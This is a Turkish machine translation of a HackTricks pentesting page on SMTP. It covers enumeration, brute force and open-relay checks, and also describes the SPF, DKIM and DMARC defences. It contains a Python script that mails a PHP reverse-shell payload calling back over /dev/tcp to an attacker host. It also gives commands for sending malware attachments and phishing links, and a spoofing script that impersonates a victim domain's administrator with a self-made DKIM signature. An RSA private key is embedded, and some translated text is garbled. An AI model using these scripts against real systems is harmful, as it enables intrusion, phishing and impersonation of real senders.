hacktricks/network-services-pentesting/pentesting-smtp
2024-05-08 16:34:44 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra 2024-05-08 16:34:44 +00:00
smtp-commands.md Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra 2024-05-08 16:34:44 +00:00
smtp-smuggling.md Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra 2024-05-08 16:34:44 +00:00

25,465,587 - SMTP/s Pentesting

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, shell'ler açma ve eğlenme zamanı kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

Temel Bilgiler

Basit Posta Aktarım Protokolü (SMTP), e-posta gönderme ve alma için TCP/IP paketinde kullanılan bir protokoldür. Alıcının mesajları sıraya koyma konusundaki kısıtlamaları nedeniyle, SMTP genellikle POP3 veya IMAP ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda depolamalarına ve periyodik olarak indirmelerine olanak tanır.

Uygulamada, e-posta programlarının genellikle e-posta göndermek için SMTP'yi kullanırken, onları almak için POP3 veya IMAP'yi kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu sendmail olarak öne çıkar. Sendmail adlı ticari paket bir POP3 sunucusunu içerir. Ayrıca, Microsoft Exchange bir SMTP sunucusu sağlar ve POP3 desteği eklemeyi seçenek olarak sunar.

Varsayılan port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

E-POSTA Başlıkları

Eğer kurbanı size bir e-posta göndermeye ikna etme fırsatınız varsa (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü e-posta başlıklarını görerek kurbanın iç ağ topolojisi hakkında bilgi edinebilirsiniz.

Ayrıca, bir SMTP sunucusundan bir e-posta alabilirsiniz, çünkü sunucu, saldırganın bir NDN e-posta göndermeye çalıştığı sunucuya mevcut olmayan bir adrese e-posta gönderir. Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabildiğinizden emin olun.

Ayrıca, farklı içerikler göndermeyi denemelisiniz çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz gibi: X-Virus-Scanned: by av.domain.com
EICAR test dosyasını göndermelisiniz.
AV'yi tespit etmek, bilinen güvenlik açıklarını sömürmenize olanak tanıyabilir.

Temel eylemler

Banner Yakalama/Temel bağlantı

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPS, Secure SMTP olarak da bilinir, SMTP üzerinden güvenli iletişim sağlamak için kullanılan bir protokoldür. SMTPS, SMTP'nin TCP bağlantısını güvenli hale getirmek için SSL veya TLS kullanır. Bu sayede iletiler şifrelenir ve güvenli bir şekilde iletilir.SMTPS genellikle 465 numaralı port üzerinden çalışır.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Bir kuruluşun MX sunucularını bulma

dig +short mx google.com

Numaralandırma

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Kimlik Doğrulaması - Bilgi sızdırma

Eğer sunucu NTLM kimlik doğrulamasını destekliyorsa (Windows), hassas bilgileri (sürümler) elde edebilirsiniz. Daha fazla bilgi için buraya bakabilirsiniz.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Veya bunu nmap eklentisi smtp-ntlm-info.nse ile otomatikleştirin

Dahili sunucu adı - Bilgi sızdırma

Bazı SMTP sunucuları, "MAIL FROM" komutu tam bir adres olmadan verildiğinde gönderenin adresini otomatik olarak tamamlar ve dahili adını ifşa eder:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Paketlerden port 25'e bazı şifreleri aldığınızı kontrol edin

Kimlik doğrulama kaba kuvvet saldırısı

Kullanıcı Adı Kaba Kuvvet Numaralandırması

Kimlik doğrulaması her zaman gerekli değildir

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY komutu, SMTP sunucudaki kullanıcı adlarını doğrulamak için kullanılır. Bu komut, saldırganlara kullanıcı adlarını toplamak ve doğrulamak için fırsat sunabilir. Saldırganlar, bu bilgileri daha fazla saldırı için kullanabilirler. Bu nedenle, SMTP sunucularında VRFY komutunun devre dışı bırakılması önerilir.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

AÇIKLAMA

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Otomatik araçlar

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Hemen kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

DSN Raporları

Teslimat Durumu Bildirimi Raporları: Bir kuruluşa e-posta gönderirseniz ve geçersiz bir adrese gönderirseniz, kuruluş adresin geçersiz olduğunu bildirerek bir e-posta size geri gönderir. Geri gönderilen e-postanın başlıkları, raporlarla etkileşimde bulunan e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi olası duyarlı bilgileri içerebilir.

Komutlar

Linux konsolundan E-posta Gönderme

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Python ile E-posta Gönderme

Python kodu burada ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

SMTP Smuggling zafiyeti, tüm SMTP korumalarını atlamayı sağladı (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için şu adrese bakın:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Mail Spoofing Karşı Tedbirler

**SPF**, **DKIM** ve **DMARC** kullanarak organizasyonlar, SMTP ileti göndermeyi sahteciliğe karşı önler. Bu karşı tedbirler hakkında **kapsamlı bir kılavuz** şurada bulunabilir: [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF [2014 yılında "kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` içinde bir **TXT kaydı** oluşturmak yerine aynı sözdizimini kullanarak `domain.com` içinde oluşturmanız gerektiği anlamına gelir.\
Ayrıca, önceki SPF kayıtlarını yeniden kullanmak için `"v=spf1 include:_spf.google.com ~all"` gibi bir şey bulmak oldukça yaygındır.
{% endhint %}

**Gönderen Politika Çerçevesi** (SPF), bir e-posta gönderenin yetkilendirilip yetkilendirilmediğini sorgulayarak Mail Transfer Ajanlarının (MTA'ların) bir e-posta gönderen ana bilgisayarının yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alanlar ve diğer varlıkları belirten SPF kaydındaki çeşitli "**Mekanizmaları**" içerir.

#### Mekanizmalar

[Wikipedia'dan](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Mekanizma | Açıklama                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi varsayılan bir sonuç için kullanılır.                                                                                                                                                                                                                                  |
| A         | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebiliyorsa eşleşir.                                                                                                                                                                                                                   |
| IP4       | Gönderen belirli bir IPv4 adres aralığında ise eşleşir.                                                                                                                                                                                                                                                                              |
| IP6       | Gönderen belirli bir IPv6 adres aralığında ise eşleşir.                                                                                                                                                                                                                                                                              |
| MX        | Alan adının gönderenin adresine çözümlenen bir MX kaydı varsa eşleşir (yani posta alanının gelen posta sunucularından birinden geldiği anlamına gelir).                                                                                                                                                                          |
| PTR       | İstemcinin adresi için alan adı (PTR kaydı) verilen alanda ise ve bu alan adı istemcinin adresine çözümleniyorsa (ileri doğrulamalı ters DNS), eşleşir. Bu mekanizma tavsiye edilmez ve mümkünse kaçınılmalıdır.                                                                                     |
| EXISTS    | Verilen alan adı herhangi bir adrese çözümleniyorsa eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dili ile birlikte DNSBL sorguları gibi daha karmaşık eşleşmeler sunar.                                                                                                                           |
| INCLUDE   | Başka bir alanın politikasına referans verir. Bu alanın politikası geçerse, bu mekanizma geçer. Ancak dahil edilen politika başarısız olursa, işlem devam eder. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır.                                                                                     |
| REDIRECT  | <p>Yönlendirme, başka bir SPF politikasına sahip başka bir alan adına bir işaretçidir, aynı SPF politikasını paylaşan birçok alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alan adının SPF politikası kullanılacaktır.</p> |

**Eşleşen bir mekanizma olduğunda ne yapılacağını belirten** **Kalifikatörler** de tanımlamak mümkündür. Varsayılan olarak, **kalifikatör "+"** kullanılır (yani herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
Genellikle **her SPF politikasının sonunda** şöyle bir şey göreceksiniz: **\~all** veya **-all**. Bu, **gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvensiz olarak işaretlemeli (\~) veya e-postayı reddetmeli (-) gerektiğini belirtmek için kullanılır.**

#### Kalifikatörler

Politika içindeki her mekanizma, amaçlanan sonucu tanımlamak için dört kalifikatörden biri ile başlatılabilir:

* **`+`**: Bir GEÇİŞ sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu kalifikatörü varsayılan olarak alır, bu da `+mx`nin `mx` ile eşdeğer olduğu anlamına gelir.
* **`?`**: BELİRSİZ bir sonucu temsil eder, BENZER şekilde işlenir NONE (belirli bir politika yok).
* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ve FAIL arasında bir ara nokta olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak buna göre işaretlenir.
* **`-`**: FAIL'i belirtir, e-postanın kesinlikle reddedilmesi gerektiğini önerir.

Yaklaşan örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edilmesine dikkat edin:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Geleneksel olarak, doğru/bir SPF kaydı olmayan bir alan adını taklit etmek mümkündü. Günümüzde, eğer e-posta doğru bir SPF kaydı olmayan bir alan adından geliyorsa, muhtemelen otomatik olarak reddedilecek/yalan olarak işaretlenecektir.

Bir alan adının SPF'sini kontrol etmek için şu gibi çevrimiçi araçları kullanabilirsiniz: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM, dışa doğru e-postaları imzalamak için kullanılır ve bunların alan adının genel anahtarının DNS'den alınarak harici Posta Transfer Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, seçici ve alan adının bilinmesi gerekir.

Örneğin, anahtarı istemek için alan adı ve seçici önemlidir. Bunlar posta başlığında DKIM-Signature içinde bulunabilir, örneğin, d=gmail.com;s=20120113.

Bu bilgiyi almak için bir komut şöyle görünebilir:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Alan Tabanlı Mesaj Kimliği Doğrulama, Raporlama ve Uyum)

DMARC, SPF ve DKIM protokollerine dayanarak e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde posta sunucularına rehberlik eden politikaları belirler, kimlik doğrulama başarısızlıklarıyla nasıl başa çıkılacağını ve e-posta işleme işlemleri hakkında raporların nereye gönderileceğini belirtir.

DMARC kaydını almak için _dmarc alt alanını sorgulamanız gerekmektedir

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC etiketleri

Etiket Adı Amaç Örnek
v Protokol sürümü v=DMARC1
pct Filtrelemeye tabi tutulan mesajların yüzdesi pct=20
ruf Adli raporlar için bildirim URI'si ruf=mailto:authfail@example.com
rua Toplu raporların bildirim URI'si rua=mailto:aggrep@example.com
p Kurumsal alan için politika p=quarantine
sp OD'nin alt alanları için politika sp=reject
adkim DKIM için hizalama modu adkim=s
aspf SPF için hizalama modu aspf=r

Alt Alanlar Hakkında Ne?

Buradan bakabilirsiniz.
Göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmanız gerekmektedir.
Aşağıdaki bilgi orijinal olarak openspf.org'da yayınlanmıştır, bu tür konular için harika bir kaynaktı.

Şeytan Sorusu: Alt alanlar hakkında ne?

Eğer pielovers.demon.co.uk'dan gelen bir e-posta alırsam ve pielovers için SPF verisi yoksa, demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon'un politikasının varsayılan olarak tüm müşterilerine uygulanması mantıklı olmazdı; eğer Demon bunu yapmak isterse, her alt alan için SPF kayıtları oluşturabilir.

Bu nedenle SPF yayıncılarına verilen tavsiye şudur: her A veya MX kaydı olan alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.

Yıldızlı A veya MX kayıtlarına sahip sitelerin ayrıca aşağıdaki formatta bir yıldızlı SPF kaydı olmalıdır: * IN TXT "v=spf1 -all"

Bu mantıklıdır - bir alt alan muhtemelen farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.

ık Röle

E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak çok önemlidir. Bu genellikle, alıcı tarafından güvenilen bir röle sunucusunun kullanılmasıyla başarılır. Ancak, yöneticilerin genellikle hangi IP aralıklarının izin vermek için güvenli olduğunu tam olarak bilmedikleri bir yaygın sorundur. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve sıkça güvenlik değerlendirmelerinde tespit edilen bir risktir.

Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde yaşanan e-posta teslim sorunlarını önlemek için kullandığı bir çözüm, bağlantılara herhangi bir IP adresinden izin vermektir. Bu, SMTP sunucusunun mynetworks parametresini tüm IP adreslerini kabul edecek şekilde yapılandırarak yapılır, aşağıdaki gibi:

mynetworks = 0.0.0.0/0

E-posta sunucusunun açık bir röle olup olmadığını kontrol etmek için (ki bu, e-postayı herhangi bir harici kaynaktan iletebileceği anlamına gelir), genellikle nmap aracı kullanılır. Bunu test etmek için özel olarak tasarlanmış bir betik içerir. Bir sunucuda (örneğin, IP'si 10.10.10.10 olan) port 25 üzerinde ayrıntılı bir tarama yapmak için nmap kullanılarak kullanılacak komut:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Araçlar

Sahte E-posta Gönder

Ya da bir araç kullanabilirsiniz:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Eğer dkim python kütüphanesini kullanırken bir hata alırsanız ve anahtarı ayrıştırırken sorun yaşıyorsanız, aşağıdakini kullanmaktan çekinmeyin.
NOT: Bu, openssl özel anahtarının dkim tarafından ayrıştırılamadığı durumlarda hızlı kontroller yapmak için yapılmış basit bir düzeltmedir.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Ya da manuel olarak yapabilirsiniz:

{% tabs %} {% tab title="PHP" %}

# Bu, imzalanmamış bir ileti gönderecektir
mail("sizin_email@gmail.com", "Test Konusu!", "hey! Bu bir testtir", "Kimden: administrator@kurban.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Daha fazla bilgi

Bu korumalar hakkında daha fazla bilgiyi https://seanthegeek.net/459/demystifying-dmarc/ adresinde bulabilirsiniz.

Diğer phishing belirteçleri

  • Alanın yaşı
  • IP adreslerine işaret eden bağlantılar
  • Bağlantı manipülasyon teknikleri
  • Şüpheli (sıradışı) ekler
  • Bozuk e-posta içeriği
  • Posta başlıklarındakilerden farklı değerlerin kullanılması
  • Geçerli ve güvenilir bir SSL sertifikasının varlığı
  • Sayfanın web içerik filtreleme sitelerine gönderilmesi

SMTP Üzerinden Veri Sızdırma

Eğer SMTP aracılığıyla veri gönderebiliyorsanız burayı okuyun.

Yapılandırma dosyası

Postfix

Genellikle, kuruluysa, /etc/postfix/master.cf içinde örneğin bir kullanıcı tarafından yeni bir posta alındığında yürütülecek betikleri içerir. Örneğin, flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} satırı, yeni bir posta kullanıcı mark tarafından alındığında /etc/postfix/filtering'in yürütüleceği anlamına gelir.

Diğer yapılandırma dosyaları:

sendmail.cf
submit.cf

Referanslar

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Zafere ulaşmak için sıfırdan AWS hackleme öğrenin. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, shell'ler açma ve eğlenme zamanı kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: